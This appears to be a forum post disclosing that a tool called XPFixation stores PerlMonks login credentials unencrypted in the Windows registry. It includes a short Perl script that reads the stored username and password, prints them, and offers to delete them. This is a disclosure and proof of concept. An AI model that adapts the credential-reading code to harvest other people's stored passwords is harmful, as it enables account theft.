Just to exploit one little security problem with XPFixation, I have created the XPFixation Exploit program.

IT just demonstrates one small problem... it's a 1.34 MB file, so you may have to be patient if you are on a dial up connection speed. Also, please note that this program is 100% safe... run it with a virus scanner, firewall, and anything else you can think of!

My main point being, that some kind of encryption scheme or anything to improve security should be implemented...

Update: I have now thrown together a perl script that does the same thing, plus gives you the option of deleting the XPFixation info from your computer. Here it is:

#!/usr/bin/perl -w use strict; use Win32::TieRegistry; $Registry->{"HKEY_CURRENT_USER\\Software\\XPFixation"} or die "XPFixation is not configured on this machine.\n"; (my $user = $Registry->{"HKEY_CURRENT_USER\\Software\\XPFixation\\User +name"} and my $pass = $Registry->{"HKEY_CURRENT_USER\\Software\\XPFixation\\Pas +sword"}) or die "The XPFixation configuration has been tampered with.\n" . "Cannot display account information.\n"; print qq| The configuration for XPFixation has been found on your machine. PerlMonks Account Information: ------------------------------ Username: $user Password: $pass Delete this info from your computer? (Y/N) |; if (<STDIN> =~ /^y/i) { delete $Registry->{"HKEY_CURRENT_USER\\Software\\XPFixation\\"} or die "Unable to delete this information from your computer!\n"; die "Your PerlMonks account information has been successfully remove +d.\n"; } else { die "Your PerlMonks account information has NOT been removed.\n"; }
